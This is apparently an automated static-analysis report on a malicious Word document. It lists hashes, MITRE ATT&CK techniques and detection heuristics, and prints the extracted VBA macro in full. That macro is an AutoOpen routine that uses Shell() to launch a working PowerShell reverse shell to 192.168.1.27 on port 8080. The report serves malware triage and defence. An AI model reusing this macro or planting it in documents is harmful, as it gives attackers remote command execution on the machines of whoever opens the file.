Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 2bcbdc611b6d63cb…

MALICIOUS

Office (OOXML)

20.4 KB Created: 2021-06-10 13:40:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-06-17
MD5: 5e1ec410202800168a58afa8cb49d6c7 SHA-1: 16a5d242338cfd988a9ba7a0023d9cbcc3f24667 SHA-256: 2bcbdc611b6d63cb8b01e076eebe654dc40220492ca253be064b8c3c5fcf94f3
190 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample contains a VBA macro with an AutoOpen subroutine that leverages the Shell() function to execute a PowerShell command. This PowerShell command attempts to establish a reverse shell connection to the hardcoded IP address 192.168.1.27 on port 8080. The use of AutoOpen, Shell(), and PowerShell references strongly indicates a malicious document designed to download and execute a second-stage payload.

Heuristics 6

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
        exec = exec & ";while (-not $done) {if ($client.Connected -ne $true) {cleanup};    $pos = 0; $i = 1;    while (($i -gt 0) -and ($pos -lt $networkbuffer.Length)) {$read = $stream.Read($networkbuffer,$pos,$networkbuffer.Length - $pos);        $pos+=$read; if ($pos -and ($networkbuffer[0..$($pos-1)] -contains 10)) {break};    };    if ($pos -gt 0) {$string = $encoding.GetString($networkbuffer,0,$pos);        $inputstream.write($string);        start-sleep 1;        if ($process.ExitCode -ne $nu …
        ret = Shell(exec, 0)
    End Sub
  • PowerShell reference in VBA critical OLE_VBA_PS
    PowerShell reference in VBA
    Matched line in script
    Sub Main()
        exec = "powershell.exe """" function cleanup {if ($client.Connected -eq $true) {$client.Close()};    if ($process.ExitCode -ne $null) {$process.Close()};    exit;};$address = '192.168.1.27';$port = '8080';$client = New-Object system.net.sockets.tcpclient;$client.connect($address,$port);$stream = $client.GetStream();$networkbuffer = New-Object System.Byte[] $client.ReceiveBufferSize;$process = New-Object System.Diagnostics.Process;$process.StartInfo.FileName = 'C:\\Windows\System32\WindowsPow …
        exec = exec & ";while (-not $done) {if ($client.Connected -ne $true) {cleanup};    $pos = 0; $i = 1;    while (($i -gt 0) -and ($pos -lt $networkbuffer.Length)) {$read = $stream.Read($networkbuffer,$pos,$networkbuffer.Length - $pos);        $pos+=$read; if ($pos -and ($networkbuffer[0..$($pos-1)] -contains 10)) {break};    };    if ($pos -gt 0) {$string = $encoding.GetString($networkbuffer,0,$pos);        $inputstream.write($string);        start-sleep 1;        if ($process.ExitCode -ne $nu …
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "AutoOpen"
    Sub Main()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2020/wordml/sdtdatahashIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2241 bytes
SHA-256: 1ba02c2f936f180502e704d46fce4f1750d18358e4136f4dff9e832e6d11e647
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "AutoOpen"
Sub Main()
    exec = "powershell.exe """" function cleanup {if ($client.Connected -eq $true) {$client.Close()};    if ($process.ExitCode -ne $null) {$process.Close()};    exit;};$address = '192.168.1.27';$port = '8080';$client = New-Object system.net.sockets.tcpclient;$client.connect($address,$port);$stream = $client.GetStream();$networkbuffer = New-Object System.Byte[] $client.ReceiveBufferSize;$process = New-Object System.Diagnostics.Process;$process.StartInfo.FileName = 'C:\\Windows\System32\WindowsPowerShell\v1.0\powershell.exe';$process.StartInfo.RedirectStandardInput = 1;$process.StartInfo.RedirectStandardOutput = 1;$process.StartInfo.UseShellExecute = 0;$process.Start();$inputstream = $process.StandardInput;$outputstream = $process.StandardOutput;Start-Sleep 1;$encoding = new-object System.Text.AsciiEncoding;while($outputstream.Peek() -ne -1){$out += $encoding.GetString($outputstream.Read())};$stream.Write($encoding.GetBytes($out),0,$out.Length);$out = $null; $done = $false; $testing = 0;"
    exec = exec & ";while (-not $done) {if ($client.Connected -ne $true) {cleanup};    $pos = 0; $i = 1;    while (($i -gt 0) -and ($pos -lt $networkbuffer.Length)) {$read = $stream.Read($networkbuffer,$pos,$networkbuffer.Length - $pos);        $pos+=$read; if ($pos -and ($networkbuffer[0..$($pos-1)] -contains 10)) {break};    };    if ($pos -gt 0) {$string = $encoding.GetString($networkbuffer,0,$pos);        $inputstream.write($string);        start-sleep 1;        if ($process.ExitCode -ne $null) {cleanup}else {$out = $encoding.GetString($outputstream.Read());            while($outputstream.Peek() -ne -1){$out += $encoding.GetString($outputstream.Read()); if ($out -eq $string) {$out = ''};            };            $stream.Write($encoding.GetBytes($out),0,$out.length);            $out = $null;            $string = $null;        };    }else {cleanup};}"""" "
    ret = Shell(exec, 0)
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 20992 bytes
SHA-256: 2dfc6c08c8793b9be1714f48b95c6fd5fab9b1a9e5d059c43db57fd83dff2051
emf_00.emf ooxml-emf OOXML EMF part: docProps/thumbnail.emf 3316 bytes
SHA-256: cbfe3e948f766a6af3c8163d192bd498e15168db3a60154d0a874a91e02dc480